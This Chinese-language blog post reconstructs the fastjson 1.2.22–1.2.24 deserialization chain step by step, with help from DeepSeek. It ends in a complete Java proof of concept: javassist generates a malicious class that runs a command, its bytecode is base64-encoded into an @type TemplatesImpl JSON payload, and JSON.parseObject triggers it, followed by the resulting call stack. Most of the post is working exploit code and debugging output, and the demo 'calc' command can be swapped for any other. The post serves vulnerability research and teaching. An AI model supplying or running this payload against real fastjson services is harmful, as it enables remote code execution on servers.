对于fastjson反序列化漏洞的研究已经是一个老生常谈的问题,但是网上对这个漏洞的分析都是已知这条链然后调试跟进正向分析。这对于反序列化利用连挖掘的学习并不是很有帮助,本文希望通过一种逆向思维,从挖漏洞的角度来还原整条反序列化链,期间会借助DeekSeek帮忙审计来提高效率。
本文以最初的fastjson反序列化链进行分析,影响版本是1.2.22-1.2.24,更高的版本就是在该版本的利用链基础上做一些限制,只需要正向调试根据限制做相应的绕过即可。
依赖项
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.12.0</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.23</version> <!-- 可替换为你的 Spring 版本 -->
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
首先需要找到一个sink点。这个sink点的挖掘就得靠经验,或者工具去找。因为这里是做复现,所以我们从一个已知的sink点method.invoke
开始。
图 1
这里有很多的method.invoke(Object)
,而且可以确定method
可控,Object
则是通过传参。所以最终是只能反射调用无参方法或者走else分支传一个参数。那就要看看Object
能不能控制。
也就是看看谁调用了FieldDeserializer.setValue
。由于FieldDeserializer
是抽象类,所以得先看看继承自他的实现类。图 2
ResolveFieldDeserializer
重写了setValue
里面没有可以利用的,所以不可以;ArrayListTypeFieldDeserializer
找不到调用他的类。所以看DefaultFieldDeserializer
:
图 3
Object
的值也是传递进来的,所以需要再往前看调用:图 4
这两个分析一下可以发现只能走其中的一个,而且都是要走JavaBeanDeserializer
的deserialze
。
因为我们希望走到的是DefaultFieldDeserializer
的parseField
。正好在773行的fieldDeserializer.parseField
所在方法parseField
有实例化DefaultFieldDeserializer
。图 5
这里的Object
也是传参传进来的,那就继续往前看调用。
图 6
这里的Object
也是有可能由我们控制的,只要能够进入我们控制的分支。
首先想到的是TemplatesImpl
利用链。我们可以让method
为getOutputPropertites
,让Object
是TemplatesImpl
对象。
先测一下这段能不能行得通,先让DeepSeek帮我们写个demo来实例化JavaBeanDeserializer
并调用deserialze
来调试。
package fastjsonTest;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;
import java.lang.reflect.Type;
public class JavaBeanDeserializerDemo {
public static void main(String[] args) {
// 1. 准备JSON字符串
String json = "{\"name\":\"张三\",\"age\":29}";
// 2. 创建解析器
DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());
// 3. 创建JavaBeanDeserializer实例
JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
ParserConfig.getGlobalInstance(),
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
);
// 4. 调用deserialze方法
Object result = deserializer.deserialze(
parser, // 解析器
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型
null // 字段名(这里不需要)
// 已有对象(用于更新场景)
// 特性标志位
);
// 5. 关闭解析器(重要!)
parser.close();
}
}
这样可以走到图6,但是进去后就会发现fieldDeserializer
是null
。图 7
看看key要传什么才能让smartMatch不返回空,跟进去把代码丢给DeepSeek。图 8
DeepSeek给的答案如下:
直接字段名匹配
// 完全匹配(区分大小写)
key.equals(fieldInfo.name)
// 或忽略大小写匹配
key.equalsIgnoreCase(fieldInfo.name)
示例:
若目标类有字段String userName
,则以下key
可匹配:
"userName"
(完全匹配)
"USERNAME"
(忽略大小写)
Boolean 字段的is
前缀匹配
// 规则:key以"is"开头 + 字段是boolean类型 + 剩余部分匹配字段名
key.startsWith("is")
&& (fieldClass == boolean.class || fieldClass == Boolean.class)
&& key.substring(2).equalsIgnoreCase(fieldInfo.name)
示例:
若目标类有字段boolean active
,则以下key
可匹配:
"isActive"
→ 匹配active
字段
"ISACTIVE"
→ 忽略大小写
蛇形/烤串命名转换
// 规则:key包含'_'或'-',去除后匹配字段名
key.replaceAll("_|-", "").equalsIgnoreCase(fieldInfo.name)
示例:
若目标类有字段String createdAt
,则以下key
可匹配:
"created_at"
(蛇形)
"created-at"
(烤串)
备用名匹配(alternateName)
// 规则:检查字段是否通过注解声明了备用名
fieldDeser.fieldInfo.alternateName(key)
示例:
若字段通过@JSONField(name = {"username", "loginName"})
声明,则以下key
可匹配:
"username"
"loginName"
调试可以发现fieldInfo.name
的值来自sortedFieldDeserializers
,只有3个:outputProperties
,outputProperties
,uRIResolver
。
参照方法3可以把键名设置为TemplatesImpl
的属性_outputProperties
。
package fastjsonTest;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;
import java.lang.reflect.Type;
public class JavaBeanDeserializerDemo {
public static void main(String[] args) {
// 1. 准备JSON字符串
String json = "{\"_outputProperties\":\"张三\",\"age\":29}";
// 2. 创建解析器
DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());
// 3. 创建JavaBeanDeserializer实例
JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
ParserConfig.getGlobalInstance(),
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
);
// 4. 调用deserialze方法
Object result = deserializer.deserialze(
parser, // 解析器
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型
null // 字段名(这里不需要)
// 已有对象(用于更新场景)
// 特性标志位
);
// 5. 关闭解析器(重要!)
parser.close();
}
}
再次运行代码,发现报错:图 9
把这个报错丢给DeepSeek帮我们解析了这个错误:
位置(pos) | 字符 | 说明 |
---|---|---|
0 | { | 开始对象 |
1 | " | 字段名开始 |
2-18 | _outputProperties | 字段名(占17个字符) |
19 | " | 字段名结束 |
20 | : | 键值分隔符 |
21 | " | 值开始(字符串) |
22-23 | 张 | 中文字符(UTF-8占3字节,但Java字符计数为1) |
24-25 | 三 | 中文字符(报错位置) |
26 | " | 值结束 |
27 | , | 字段分隔符 |
... | ... | 剩余部分 |
第25个字符是张三
这个位置,希望是{
,所以改成
String json = "{\"_outputProperties\":{},\"age\":29}";
运行发现已经能够执行到TemplatesImpl
的getOutputProperties
:
图 10
图 11
可以发现就差给这些属性赋值就可以加载恶意类命令执行了
在json字符串直接添加:
String json = "{\"_outputProperties\":{},\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"]}";
结果发现压根没传进去!图 12
调试发现图3的SetValue,如果key处理不返回null就会看有没有这个属性的getter或者setter方法,有就触发,null的话可以构造使其将value存到对象的field中。因为_outputProperties
写在前面先处理了,然后_name
、_tfactory
、_bytecodes
还没处理,所以都没有给TemplatesImpl
的属性赋值就调用,因此都是null
而不能加载恶意字节码。
所以换个顺序:
String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";
并且要能够走到设置值的代码中,也就是走到SetValue,因为如果smartMatch("_name");
、smartMatch("_tfactory");
...这些返回都是null,所以我们需要走到下面设置fieldDeserializer
的地方。
图 13
所以至少要过这个if:图 14
图 15
发现mask
是131072
不会变,那几只能改this.features,这里一直是989导致989 & 131072=0
,而989是创建JSONScanner
时传入的。
图 16
因为我们的是通过这个构造函数传入的,所以我可以通过下面features可控的构造函数传入。
因为131072 & 131072 =131072
,所以就传个131072。
DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);
这样就可以传进去了,但是又报错了。
图 17
46是_bytecodes
这里出问题,问下DeepSeek。图 18
图 19
而且调试也可以发现对于[]
里面用""
包裹的会进行base64解码,所以对bytecodes base64编码一下。图 20
大功告成。
package fastjsonTest;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.lang.reflect.Type;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class JavaBeanDeserializerDemo {
public static void main(String[] args) throws Exception {
byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");
String code= Base64.getEncoder().encodeToString(bytes);
// 1. 准备JSON字符串
String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";
// 2. 创建解析器
DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);
// 3. 创建JavaBeanDeserializer实例
JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
ParserConfig.getGlobalInstance(),
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
);
// 4. 调用deserialze方法
Object result = deserializer.deserialze(
parser, // 解析器
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型
null // 字段名(这里不需要)
// 已有对象(用于更新场景)
// 特性标志位
);
// 5. 关闭解析器(重要!)
parser.close();
}
public static byte[] getEvilClass(String cmd) throws Exception {
//获取恶意类字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);
ctcconstructor.setBody(cmd);
ctClass.addConstructor(ctcconstructor);
ctClass.getClassFile().setMajorVersion(49);
byte[] bytes = ctClass.toBytecode();
ctClass.writeFile(); //写入文件
byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取
return code;
}
}
接下来就是,只需要找一下JavaBeanDeserializer
的调用链即可,并且把
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
传给JavaBeanDeserializer
。
图 21
看ParserConfig
:
图 22
由createJavaBeanDeserializer
调用,createJavaBeanDeserializer
由getDeserializer
调用:图 23
DefaultJSONParser
的Object parseObject(final Map object, Object fieldName)
调用了getDeserializer
:
图 24
图 25
这里需要有一个健@type
,并且里面放com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
可以传到JavaBeanDeserializer
。因为fastjson的处理顺序是从前往后,因为需要现有一个类才能进行属性赋值,所以@type
要放到最前面。
DefaultJSONParser
的parse(Object fieldName)
调用了Object parseObject(final Map object, Object fieldName)
:
图 26
JavaObjectDeserializer
的deserialze
中调用了DefaultJSONParser
的parse(Object fieldName)
。
图 27
就这样一步步往上找,接下来找DefaultJSONParser
的parseObject
,然后是JSON
的parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features)
。
图 28
就直接用这几个就可以,调到这里是因为fastjson常用的用法就是用JSON
的parserObject
。
所以最后改成:
package fastjsonTest;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.lang.reflect.Type;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class JavaBeanDeserializerDemo {
public static void main(String[] args) throws Exception {
byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");
String code= Base64.getEncoder().encodeToString(bytes);
// 1. 准备JSON字符串
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";
// // 2. 创建解析器
// DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);
//
// // 3. 创建JavaBeanDeserializer实例
// JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
// ParserConfig.getGlobalInstance(),
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
// );
//
//
// // 4. 调用deserialze方法
// Object result = deserializer.deserialze(
// parser, // 解析器
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型
// null // 字段名(这里不需要)
// // 已有对象(用于更新场景)
// // 特性标志位
// );
//
//
// // 5. 关闭解析器(重要!)
// parser.close();
JSONObject jsonObject = JSON.parseObject(json, JSONObject.class,131072);
}
public static byte[] getEvilClass(String cmd) throws Exception {
//获取恶意类字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);
ctcconstructor.setBody(cmd);
ctClass.addConstructor(ctcconstructor);
ctClass.getClassFile().setMajorVersion(49);
byte[] bytes = ctClass.toBytecode();
ctClass.writeFile(); //写入文件
byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取
return code;
}
}
堆栈调用如下:
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:1076, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:1081, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:28, MapDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:611, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:289, JSON (com.alibaba.fastjson)
main:53, JavaBeanDeserializerDemo (fastjsonTest)